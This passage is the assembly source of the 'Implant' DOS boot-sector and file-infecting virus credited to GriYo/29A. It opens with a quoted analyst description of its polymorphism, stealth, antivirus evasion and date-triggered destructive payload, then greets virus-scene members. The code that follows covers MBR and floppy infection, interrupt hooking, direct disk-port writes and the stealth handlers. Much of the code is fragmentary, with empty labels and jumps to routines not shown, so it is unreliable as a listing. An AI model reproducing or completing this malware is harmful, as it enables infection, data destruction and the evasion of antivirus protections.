; or the digits 0-9. Thus the virus avoids a wide variety of
; anti-virus programs, DOS system files, and goat files used
; by virus researchers (which usually have digits in the name).
;
; Implant infects only files with the extensions COM, EXE
; and SYS. COM and SYS files longer than 52801 bytes are
; not infected. Files with time-stamps set to 62 seconds are
; assumed already infected - this is the virus' infection stamp.
;
; To check whether a file is an EXE file, the virus adds the
; first two bytes of the file (for an EXE file, 4D5A or 5A4D)
; together: if the sum is A7h (A7h=4Dh+5Ah), the file is
; assumed to have an EXE header. Simple and elegant.
;
; When resident, Implant denies access to files named
; CHKLIS*.*. These patterns match CHKLIST.MS or
; CHKLIST.CPS, and prevent Microsoft's and Central
; Point's scanners from working properly.
;
; If WIN.COM is executed, the virus adds a parameter ID:F to
; the program's command-line. This argument turns off
; Windows' 32-bit disk access, which enables infection of
; floppies accessed from within Windows. If TBSCAN is
; executed, the virus adds the command-line parameters 'co'
; and 'nm', which instruct the program to skip the memory
; cheek and not use direct disk access ('compatibility mode').
;
;
; Infection of Floppies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The floppy disk boot sector is infected in much the same
; manner as the MBR. The virus follows the jump chain in the
; floppy boot sector and writes 35 bytes of its code there. The
; encrypted polymorphic virus body is placed on a floppy on
; an additional track (number 80) which it first formats. This
; track will have 13 sectors: the first will carry a copy of an
; original boot sector: the rest will be occupied by the
; encrypted virus body. To infect floppy disks, Implant uses
; Int 40h, which usually points to BIOS code.
;
; The virus infects only 1.2MB or 1.44MB floppies. It checks
; the total amount of sectors on the media (the word at offset
; 13h in the boot sector) and proceeds with infection only if
; the number of sectors is B40h or 960h (2880 or 2400,
; respectively). For self-recognition, the virus cheeks the two
; letters at offset 21 h from the last jump in the chain (if any):
; all infected floppies contain the marker 'CR' at this point.
;
; There is a bug in floppy infection: if the boot sector starts
; with a JMP (opcode E9h, not usual EBh), the virus code is
; inserted 1 byte lower than necessary. Still, the virus is able
; to work as the first instruction of its code is CLI, which
; takes just 1 byte and is not absolutely necessary.
;
;
; Polymorphic Engine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant's polymorphic engine is very powerful. Suffice it to
; say that it supports subroutines, conditional jumps with non-
; zero displacement, and memory writes. This engine takes a
; good half of the virus' code.
;
; The engine makes extensive use of the table of random bytes,
; created during the initialization phase. The approach of
; using a table generated just once during the installation of
; the virus into memory classifies Implant as a slow polymor-
; phic. This means that the variety of the polymorphic
; decryptors is artificially limited until the next reboot of the
; PC. It poses some problems for anti-virus researchers, as it
; becomes difficult to create enough files infected in enough
; different ways to test detection.
;
; Files are encrypted in two layers: the first is polymorphic:
; the second is simple XOR encryption with a slightly
; variable decrylptor. Some attempts are made to prevent
; tracing the second decryptor, but no anti-emulation tricks
; are used.
;
;
; Stealth Properties
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant stealths its modifications to the MBR and FBR. The
; virus also does not allow writes to the sectors on track 0
; which are used by the MBR copy and the virus body
; (sectors 03h to 0Fh).
;
; If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run
; (these patterns appear to be intended to match MEM.
; CHKDSK. SYSINFO and SMAP) the virus spoofs the value
; returned by Int 12h (free RAM) by adding 7K to the real
; figure. Hence, the amount of memory is reported as it was
; before infection.
;
; The stealthing of infected files is more sophisticated than
; that of the MBR and floppy boot sector. Most modern
; stealth viruses do 'semi-stealth' (just the change in the file
; size is concealed). Implant, on the other hand, is full stealth,
; so when the virus is active. even integrity checking pro-
; grams will not report any file modifications.
;
; A common problem to all stealth viruses is how, to suppress
; error messagres from the CHKDSK utility. When run on a
; system infected with a stealth virus. CHKDSK reports
; allocation errors, because reported file sizes do not match
; their actual sizes (i.e. the reported size in bytes does not
; match the number of clusters in the file allocation table).
; Implant recognizes that CHKDSK.EXE (or a similar utility)
; is being run, and turns off its stealth routine whilst the disk
; check is performed.
;
; If there is any doubt as to whether or not a PC is infected by
; Implant, the easiest way to check is to create a file called
; CHKLIST. If there are problems accessing this file, the virus
; is almost certainly resident. To check if a particular execut-
; able is infected, it is probably easiest to pack the file into an
; archive and check whether the size inside is the same as
; outside. If not, the file is infected.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; Implant's payload triggers on 4 June. after any program asks
; for the system date. The payload is buggy: it was apparently
; supposed to destroy the contents of track 0, rendering the
; system unusable, but the virus itself rejects the attempt to
; overwrite the infected MBR ! So, the destructive part of the
; payload does not work.
;
; After this unsuccessful attempt to zap itself, the virus slowly,
; types the following text in the middle of the screen (green
; letters on a black background, accompanied by a rattling,
; perhaps meant to resemble the noise of a typewriters):
;
;
; <<< SuckSexee Automated Intruder >>>
; Viral Implant Bio-Coded by GriYo/29A
;
;
; Then the PC freezes. After a reboot (until you chance the
; CMOS clock setting) the payload will eventually trigger
; agrain because some program, sooner or later, will try to get
; the system date - and the cycle will begin again...
;
;
; Summary
; ÄÄÄÄÄÄÄ
; Implant impressed me. It is definitely written by a talented
; person - it is a pity, his skills are used so destructively. I
; recently received another interesting virus (Gollum.7167)
; from the same author (carrying the signature 'GriYo/29A'):
; it spreads via infected standard DOS EXE files which drop a
; VxD in Windows'SYSTEM directory (called GOLLUM.386)
; and registers it in SYSTEM.INI. When Windows is started,
; the VxD becomes active and will infect DOS EXE files run
; in the DOS box. This virus again shows that GriYo uses
; approaches that are neither common nor trivial.
;
; I wonder if this is talent comparable to the Dark Avenger or
; the author of One Half? I sincerely hope such a gifted
; person will find better thing to do than write viruses.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; And finally...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Greetings go to the following generation:
;
; AúGuS & Company ............ SuckSexee people rulez
; Absolute Overlord .......... PolyMorphic OpCode GENerator
; Mister Sandman ............. Mississippi ruleeez, hahaha!
; All the 29Aers ............. 29A 3LiT3 ;)
;
; And all the replicants usually at #virus
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Let's have some fun! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
.286
launcher segment para 'CODE'
assume cs:launcher,ds:launcher,es:launcher,ss:launcher
org 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Equates, equates, equates... ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus entry-point for all its targets ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
virus_entry:
;Space for decryptor or random data block
db 0400h dup (90h)
virus_body:
;Get delta offset stored on infection ( mov bp,xxxx )
db 0BDh
file_delta dw 0000h
avoid_decryptor:
;Avoid second decryptor on first virus generation
jmp short second_body
;Load pointers
mov si,ax
mov di,ax
loop second_loop
;Clear prefetch
db 0EBh,00h
;Jump to decryption zone
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Start of double-encrypted area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
second_body:
;Check cpu type (SuckSexee needs 286+)
mov al,02h
mov cl,21h
shr al,cl
or al,al
jz control_back
;Installation check
mov si,00BADh
mov di,0FACEh
xor cx,cx
exe_com_installation:
others_installation:
control_back:
;Get control back to infected target
db 0EBh,00h
;Load offset of exit address into bx
db 0E9h
exit_address dw offset exit_launcher - offset host_ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect hd mbr ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
not_resident:
mov di,bp
mov cx,decryptor
fill_rnd_1:
call random_number
cld
stosb
loop fill_rnd_1
;Read mbr
mov ax,0201h
mov cx,0001h
lea bx,word ptr [virus_copy][bp]
int 13h
jnc ok_read_mbr
jmp go_memory
ok_read_mbr:
;Check for mbr marker
cmp word ptr ds:[bx+01FEh],0AA55h
jne no_mbr_infection
no_mbr_infection:
;Dos 16bit-fat?
cmp al,04h
je partition_type_ok
partition_type_ok:
;Restore sector
call crypt_sector
;Perform encryption
call do_encrypt
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Go memory resident if running from mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
go_memory:
;Running from hd mbr or floppy bs?
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
jne running_in_file
;Hook ints
push es
pop ds
;Get int 12h vector
mov al,12h
call get_int
running_in_file:
;Return to boot sequence
jmp control_back
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from infected hd mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_mbr:
;Get .sys parameter block pointer out of stack
pop bx
;Restore segment registers
pop es
pop ds
;Reboot system
int 19h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .sys infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_sys:
;Point to old .sys header ( offset of strategy routine address )
lea si,word ptr [old_header+0006h][bp]
mov di,0006h
cld
lodsw
stosw
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .com infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_com:
;Restore first three bytes
lea si,word ptr [old_header][bp]
mov di,0100h
mov cx,0003h
cld
rep movsb
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .exe infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_exe:
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds
;Clear prefetch
db 0EBh,00h
;Jump to original entry point
db 0EAh
exe_ip dw 0000h
exe_cs dw 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit program if launcher execution ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
exit_launcher:
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write hard drive mbr using direct port access ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
hd_write_port:
;Save some reg
push cx
push dx
push si
try_hd_port_again:
;Send sector
mov dx,01F3h
mov al,01h
out dx,al
call pause_some_ms
exit_mbr_infection:
wait_drive_ready:
in al,dx
test al,80h
jnz still_working
ret
wait_seek_ready:
call wait_drive_ready
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 1Ch handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my_int1Ch:
;Do not use this handler if file infection is active
cmp byte ptr cs:[file_infection_flag],0FFh
je my1Ch_exit
not_time_for_dos:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 12h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my_int12h:
;Perform int call
pushf
call dword ptr cs:[old12h]
;Installation check
cmp si,00BADh
jne not_check_v
cmp di,0FACEh
jne not_check_v
not_from_exe_com:
;Im here!!!
mov si,0DEADh
mov di,0BABEh
not_check_v:
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 13h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my_int13h:
;Hook dos on first write operation
cmp ah,03h
jne look_mbr
call hook_dos
look_mbr:
;Check for head 00h
or dh,dh
jnz my13h_exit
;Take care about track 00h
or ch,ch
jne my13h_exit
;Floppy or hd?
cmp dl,80h
je is_hd_operation
or dl,dl
jz is_floppy_operation
jmp my13h_exit
is_hd_operation:
my13h_exit:
;Get control back to old int 13h
jmp dword ptr cs:[old13h]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd write operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
hd_write:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Monitoring hd read operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
hd_read:
;Trying to read infected mbr?
cmp cl,01h
je stealth_mbr
;Decrypt mbr
call crypt_sector
clc
mbr_stealth_error:
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform encryption over es:[bx] 0200h byte ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
crypt_sector:
push ax
push cx
push di
mov cx,0200h/02h
mov di,bx
cld
sector_loop_crypt:
pop di
pop cx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus floppy infection routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
is_floppy_operation:
ok_floppy_read:
not_infected:
;Check for mbr marker also in floppy
cmp word ptr es:[bx+01FEh],0AA55h
jne exit_floppy_infection
exit_floppy_infection:
call pop_all
clc
retf 02h
environment_ready:
ok_ddpt_index:
extra_track_done:
replication_error:
pop cx
call read_boot_extra
jmp abort_floppy
hd_sector_ready:
mov ch,50h
sub cl,02h
xor dl,dl
mov ax,0301h
call do_int13h
jc replication_error
pop cx
loop copy_hd_sector
read_boot_extra:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform int 13h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
do_int13h:
;Check for floppy write operations
cmp ah,03h
jne do_not_use40h
or dl,dl
jz use_int40h
do_not_use40h:
;Perform call
pushf
call dword ptr cs:[old13h]
ret
use_int40h:
;Perform call using int 40h
pushf
call dword ptr cs:[old40h]
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus loader ( inserted into hd mbr and floppy boot sectors ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
boot_code:
;Setup stack and segment regs
cli
xor ax,ax
mov ss,ax
mov es,ax
mov ds,ax
mov sp,7C00h
sti
;Read at 0000h:7E00h
mov bx,7E00h
error_init:
;Error during virus initialization
int 18h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Floppy boot sector infected marker ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
boot_marker db "CR"
;End of boot code
boot_end equ this byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Hook int 21h ( try to find original int 21h address using psp tracing ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
hook_dos:
;Save regs
call push_all
trace_loop:
;Check if there is a jump instruction
cmp byte ptr ds:[si],0EAh
jne try_dispatcher
try_dispatcher:
found_original:
;Save found address
mov word ptr cs:[org21h_off],si
mov word ptr cs:[org21h_seg],ds
exit_wait:
;Restore regs and return
call pop_all
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus int 21h handler ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my_int21h:
;Save entry regs
call push_all
disable_stealth:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Check for activation circunstances ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
activation_00:
;Get dos date
cmp bh,(2Ah xor 0FFh)
jne infection_00
jmp dos_get_date
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infection functions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
infection_00:
;Exec function ( save filename for later infection )
cmp bx,(4B00h xor 0FFFFh)
jne infection_01
jmp dos_exec
infection_01:
;Close file (Handle)
cmp bh,(3Eh xor 0FFh)
jne infection_02
jmp dos_close
infection_02:
;Get or set file attribute
cmp bh,(43h xor 0FFh)
jne infection_03
jmp infect_file_ds_dx
infection_03:
;Rename or move file
cmp bh,(56h xor 0FFh)
jne infection_04
jmp infect_file_ds_dx
infection_04:
;Terminate program ( infect executed program )
cmp bh,(4Ch xor 0FFh)
jne stealth_dos
jmp dos_terminate_prog
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Stealth functions ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
stealth_dos:
;Check if stealth is disabled
cmp byte ptr cs:[stealth_sw],0FFh
je m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get dos date and payload ³
